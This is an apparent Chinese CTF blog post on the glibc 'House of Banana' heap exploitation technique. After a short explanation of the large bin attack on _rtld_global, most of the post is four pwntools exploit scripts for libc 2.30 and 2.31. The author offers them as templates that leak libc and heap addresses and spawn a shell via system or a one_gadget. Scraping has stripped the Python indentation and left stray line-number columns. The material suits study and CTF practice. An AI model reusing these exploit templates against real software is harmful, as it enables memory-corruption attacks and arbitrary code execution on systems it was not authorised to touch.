House_of_banana
LOLOLO Lv3

House of banan

对于这个技术的流程并没有去深究,只是套模板的利用

利用条件

  • 程序能够显示的执行exit()函数
  • 程序通过 libc_start_main 启动的主函数,且主函数能够结束

原理分析

ha1vk

利用流程

house of banana的思想就是利用large bin attack往rtld_global写入堆的地址,并事先在堆里伪造好rtld_global结构体,这样程序exit或者正常退出main函数时,便会执行到伪造的fini_array数组。

模板exp

在2.31版本及以下好像可以通用,分为system利用和onegadget两种

1
2
3
4
5
6
7
payload = p64(0) + p64(libc_base + 0x221730) + p64(0) + p64(heap_addr + 0x960)
payload += p64(set_context) + p64(ret)

payload += p64(binsh_addr)
payload += p64(0)
payload += p64(system_addr)

这里要注意的是,p64(libc_base+0x221730)是根据版本查找的,可以使用ida远程调试获得,也可以简便获得

libc-2.30.so版本下

system利用版本(2.30下)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#coding:utf8
from pwn import *

# sh = process('./husk',env = {'LD_PRELOAD':'./libc.so.6'})
sh=process('./husk')
# libc = ELF('./libc.so.6')
libc=ELF('/home/lol/glibc-all-in-one/libs/2.30-0ubuntu2_amd64/libc-2.30.so')
#sh = remote('100.1.0.111',9999)

def add(size,content = ''):
sh.sendlineafter('>>','1')
sh.sendlineafter('Size:',str(size))
if content != '':
sh.sendafter('Content:',content)

def delete(index):
sh.sendlineafter('>>','2')
sh.sendlineafter('Index:',str(index))

def show(index):
sh.sendlineafter('>>','3')
sh.sendlineafter('Index:',str(index))

def edit(index,content):
sh.sendlineafter('>>','4')
sh.sendlineafter('Index:',str(index))
sh.sendafter('Content:',content)

add(0x520,'a'*0x520) #0
add(0x428,'b'*0x428) #1
add(0x500,'c'*0x500) #2
add(0x420,'d'*0x420) #3

delete(0)
add(0x600,'c'*0x600) #4
add(0x600,'c'*0x600) #5
show(0)
sh.recvuntil('Content: ')
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
libc_base = main_arena_xx - 0x1eb010
print 'libc_base=',hex(libc_base)
global_max_fast = libc_base + 0x1edb78
print 'global_max_fast=',hex(global_max_fast)
rtl_global = libc_base + 0x220060
print 'rtl_global=',hex(rtl_global)
set_context = libc_base + libc.sym['setcontext'] + 0x3D
ret = libc_base + libc.sym['setcontext'] + 0x14E
pop_rdi = libc_base + 0x00000000000277e9
binsh_addr = libc_base + libc.search('/bin/sh').next()
system_addr = libc_base + libc.sym['system']
#print hex(libc_base + 0x2043ac)
edit(0,'a'*0x10)
show(0)
sh.recvuntil('a'*0x10)
heap_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'heap_addr=',hex(heap_addr)
edit(0,p64(main_arena_xx)*2)


#未归位的large bin
delete(2)
delete(4)

#控制large bin的bk
edit(0,p64(0) + p64(0) + p64(0) + p64(rtl_global - 0x20))
#raw_input()
# gdb.attach(sh)
add(0x600,'large bin attack!!')

payload = p64(0) + p64(libc_base + 0x221730) + p64(0) + p64(heap_addr + 0x960)
payload += p64(set_context) + p64(ret)

payload += p64(binsh_addr)
payload += p64(0)
payload += p64(system_addr)
payload += '\x00'*0x80

payload += p64(heap_addr + 0x960 + 0x28 + 0x18)

payload += p64(pop_rdi)
payload = payload.ljust(0x100,'\x00')
payload += p64(heap_addr + 0x960 + 0x10 + 0x110)*0x3
payload += p64(0x10)
payload = payload.ljust(0x31C - 0x10,'\x00')
payload += p8(0x8)
edit(2,payload)
# gdb.attach(sh)
edit(1,'b'*0x420 + p64(heap_addr + 0x960 + 0x20))

#getshell
sh.sendlineafter('>>','5')
sh.sendlineafter('name:','haivk')

sh.interactive()

#0x221730

这里解释一下,伪造的_rtld_global中的第二个参数的获取方法

通过其他师傅的模板exp调试,发现地址填入应该为如下形式 0x7f3aa3a64730 —▸ 0x7ffec71fd000 ◂— jg 0x7ffec71fd047,经过测试,发现该地址在2.30版本下与_rtld_global的偏移为0x16d0,在2.31版本下偏移为0x16e0

onegadget版本(2.30)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#encoding:utf-8
from pwn import *

sh=process('./husk')
libc=ELF('/home/lol/glibc-all-in-one/libs/2.30-0ubuntu2_amd64/libc-2.30.so')
#sh = remote('100.1.0.111',9999)

def add(size,content = ''):
sh.sendlineafter('>>','1')
sh.sendlineafter('Size:',str(size))
if content != '':
sh.sendafter('Content:',content)

def delete(index):
sh.sendlineafter('>>','2')
sh.sendlineafter('Index:',str(index))

def show(index):
sh.sendlineafter('>>','3')
sh.sendlineafter('Index:',str(index))

def edit(index,content):
sh.sendlineafter('>>','4')
sh.sendlineafter('Index:',str(index))
sh.sendafter('Content:',content)

add(0x520,'a'*0x520) #0
add(0x428,'b'*0x428) #1
add(0x500,'c'*0x500) #2
add(0x420,'d'*0x420) #3

delete(0)

add(0x600,'c'*0x600) #4
add(0x600,'c'*0x600) #5
show(0)
sh.recvuntil('Content: ')
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
print 'main_arena_xx=',hex(main_arena_xx)
libc_base = main_arena_xx - 0x1eb010
print 'libc_base=',hex(libc_base)

rtl_global = libc_base + 0x220060 #需要替换
print 'rtl_global=',hex(rtl_global)

edit(0,'a'*0x10)
show(0)
sh.recvuntil('a'*0x10)
heap_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'heap_addr=',hex(heap_addr)
edit(0,p64(main_arena_xx)*2)

#未归位的large bin
delete(2)
delete(4)

#控制large bin的bk
edit(0,p64(0) + p64(0) + p64(0) + p64(rtl_global - 0x20))
#largebin attack
add(0x600,'large bin attack!!')


payload = p64(0)
payload += p64(libc_base + 0x221730) #需要替换
payload += p64(0)
payload += p64(heap_addr + 0x960) #写入rtl_global的堆地址

payload += p64(0)
payload += p64(libc_base+0x10afa9) #onegadget

payload = payload.ljust(0x100,'\x00')
payload += p64(heap_addr + 0x960 + 0x10 + 0x110)*3
payload += p64(0x10)
payload = payload.ljust(0x31C - 0x10,'\x01')
payload += p8(0x8)
edit(2,payload)

edit(1,'b'*0x420 + p64(heap_addr + 0x960 + 0x20))

#getshell
sh.sendlineafter('>>','5')
sh.sendlineafter('name:','a')

sh.interactive()

libc-2.31版本下

system版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#coding:utf8
from pwn import *

# sh = process('./husk',env = {'LD_PRELOAD':'./libc.so.6'})
sh = process('./husk')
# libc = ELF('./libc.so.6')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#sh = remote('100.1.0.111',9999)

def add(size,content = ''):
sh.sendlineafter('>>','1')
sh.sendlineafter('Size:',str(size))
if content != '':
sh.sendafter('Content:',content)

def delete(index):
sh.sendlineafter('>>','2')
sh.sendlineafter('Index:',str(index))

def show(index):
sh.sendlineafter('>>','3')
sh.sendlineafter('Index:',str(index))

def edit(index,content):
sh.sendlineafter('>>','4')
sh.sendlineafter('Index:',str(index))
sh.sendafter('Content:',content)

add(0x520,'a'*0x520) #0
add(0x428,'b'*0x428) #1
add(0x500,'c'*0x500) #2
add(0x420,'d'*0x420) #3

delete(0)
add(0x600,'c'*0x600) #4
add(0x600,'c'*0x600) #5
show(0)
sh.recvuntil('Content: ')
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
libc_base = main_arena_xx - 0x1ec010
print 'libc_base=',hex(libc_base)
global_max_fast = libc_base + 0x1edb78
print 'global_max_fast=',hex(global_max_fast)
rtl_global = libc_base + 0x23d060
print 'rtl_global=',hex(rtl_global)
set_context = libc_base + libc.sym['setcontext'] + 0x3D
ret = libc_base + libc.sym['setcontext'] + 0x14E
pop_rdi = libc_base + 0x00000000000276e9
binsh_addr = libc_base + libc.search('/bin/sh').next()
system_addr = libc_base + libc.sym['system']
#print hex(libc_base + 0x2043ac)
edit(0,'a'*0x10)
show(0)
sh.recvuntil('a'*0x10)
heap_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'heap_addr=',hex(heap_addr)
edit(0,p64(main_arena_xx)*2)

#未归位的large bin
delete(2)
delete(4)
# gdb.attach(sh)
#控制large bin的bk
edit(0,p64(0) + p64(0) + p64(0) + p64(rtl_global - 0x20))
add(0x600,'large bin attack!!')


payload = p64(0) + p64(libc_base + 0x23e740) + p64(0) + p64(heap_addr + 0x960)
payload += p64(set_context) +p64(ret)

payload += p64(binsh_addr)
payload += p64(0)
payload += p64(system_addr)
payload += '\x00'*0x80

payload += p64(heap_addr + 0x960 + 0x28 + 0x18)

payload += p64(pop_rdi)
payload = payload.ljust(0x100,'\x00')
payload += p64(heap_addr + 0x960 + 0x10 + 0x110)*0x3
payload += p64(0x10)
payload = payload.ljust(0x31C - 0x10,'\x00')
payload += p8(0x8)
edit(2,payload)

edit(1,'b'*0x420 + p64(heap_addr + 0x960 + 0x20))

#getshell
sh.sendlineafter('>>','5')
# gdb.attach(sh)
sh.sendlineafter('name:','haivk')
sh.interactive()


#0x16d0、0x16e0

onegadget版本

2.31版本下无法打通,在最后进入了onegadget后,无法通过__stack_chk_fail的检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#encoding:utf-8
from pwn import *

# context.log_level = 'debug'
# context.terminal = ['tmux','sp','-h']

# p = process(["ld-2.30.so", "./poc"],env={"LD_PRELOAD":"./libc-2.30.so"})
# sh = process(["./ld-2.30.so", "./husk"],env = {'LD_PRELOAD':'./libc-2.30.so'})
# sh = process(["/lib/x86_64-linux-gnu/ld-2.31.so", "./husk"],env = {'LD_PRELOAD':'/lib/x86_64-linux-gnu/libc.so.6'})
sh = process("./husk")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# libc = ELF('./libc-2.30.so'
#sh = remote('100.1.0.111',9999)

def add(size,content = ''):
sh.sendlineafter('>>','1')
sh.sendlineafter('Size:',str(size))
if content != '':
sh.sendafter('Content:',content)

def delete(index):
sh.sendlineafter('>>','2')
sh.sendlineafter('Index:',str(index))

def show(index):
sh.sendlineafter('>>','3')
sh.sendlineafter('Index:',str(index))

def edit(index,content):
sh.sendlineafter('>>','4')
sh.sendlineafter('Index:',str(index))
sh.sendafter('Content:',content)

add(0x520,'a'*0x520) #0
add(0x428,'b'*0x428) #1
add(0x500,'c'*0x500) #2
add(0x420,'d'*0x420) #3

delete(0)
add(0x600,'c'*0x600) #4
add(0x600,'c'*0x600) #5
show(0)
sh.recvuntil('Content: ')
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
print 'main_arena_xx=',hex(main_arena_xx)
libc_base = main_arena_xx - 0x1ec010#0x1eb010
print 'libc_base=',hex(libc_base)
# gdb.attach(sh)
rtl_global = libc_base + 0x23d060
print 'rtl_global=',hex(rtl_global)

edit(0,'a'*0x10)
show(0)
sh.recvuntil('a'*0x10)
heap_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'heap_addr=',hex(heap_addr)
edit(0,p64(main_arena_xx)*2)


# gdb.attach(sh,'b *$rebase(0xAAF)')
raw_input()
# 0x0000555555602040
# 0x7ffff7fe1408 call r14

#未归位的large bin
delete(2)
delete(4)

#控制large bin的bk
edit(0,p64(main_arena_xx) + p64(main_arena_xx) + p64(0) + p64(rtl_global - 0x20))
add(0x600,'large bin attack!!')


payload = p64(0)
payload += p64(libc_base+0x23e740)
payload += p64(0)
payload += p64(heap_addr + 0x960)

payload += p64(0)+p64(libc_base+0xe6c81)#onegadget

payload = payload.ljust(0x100,'\x00')
payload += p64(heap_addr + 0x960 + 0x10 + 0x110)*3
payload += p64(0x10)
payload = payload.ljust(0x31C - 0x10,'\x01')
payload += p8(0x8)
edit(2,payload)
edit(1,'b'*0x420 + p64(heap_addr + 0x960 + 0x20))

#getshell
sh.sendlineafter('>>','5')
gdb.attach(sh)
sh.sendlineafter('name:','a')

sh.interactive()

参考文章

ha1vk

SkYe231

  • 本文标题:House_of_banana
  • 本文作者:LOLOLO
  • 创建时间:2022-03-09 16:06:56
  • 本文链接:https://lololo-pwn.github.io/2022/03/09/House-of-banana/
  • 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
 评论